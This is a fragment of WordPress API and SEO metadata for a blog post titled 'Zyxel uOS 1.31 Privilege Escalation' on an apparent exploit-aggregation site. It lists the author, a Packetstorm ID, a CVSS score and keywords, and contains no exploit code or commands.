class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1198#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1198\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Zyxel uOS 1.31 Privilege Escalation\",\"datePublished\":\"2025-04-23T11:31:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1198\"},\"wordCount\":2555,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=1198#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1198\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1198\",\"name\":\"Zyxel uOS 1.31 Privilege Escalation - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-04-23T11:31:36+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1198#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=1198\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1198#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Zyxel uOS 1.31 Privilege Escalation\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Zyxel uOS 1.31 Privilege Escalation - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=1198","og_locale":"en_US","og_type":"article","og_title":"Zyxel uOS 1.31 Privilege Escalation - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Zyxel uOS 1.31 Privilege Escalation Exploit ID PACKETSTORM:190622 Type packetstorm Published 2025-04-23T00:00:00 Modified 2025-04-23T00:00:00 CVSS Information CVSS Score 7.8...","og_url":"https:\/\/zero.redgem.net\/?p=1198","og_site_name":"zero redgem","article_published_time":"2025-04-23T11:31:36+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=1198#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=1198"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Zyxel uOS 1.31 Privilege Escalation","datePublished":"2025-04-23T11:31:36+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=1198"},"wordCount":2555,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=1198#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=1198","url":"https:\/\/zero.redgem.net\/?p=1198","name":"Zyxel uOS 1.31 Privilege Escalation - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-04-23T11:31:36+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=1198#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=1198"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=1198#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Zyxel uOS 1.31 Privilege Escalation"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/1198","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1198"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/1198\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1198"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1198"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1198"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}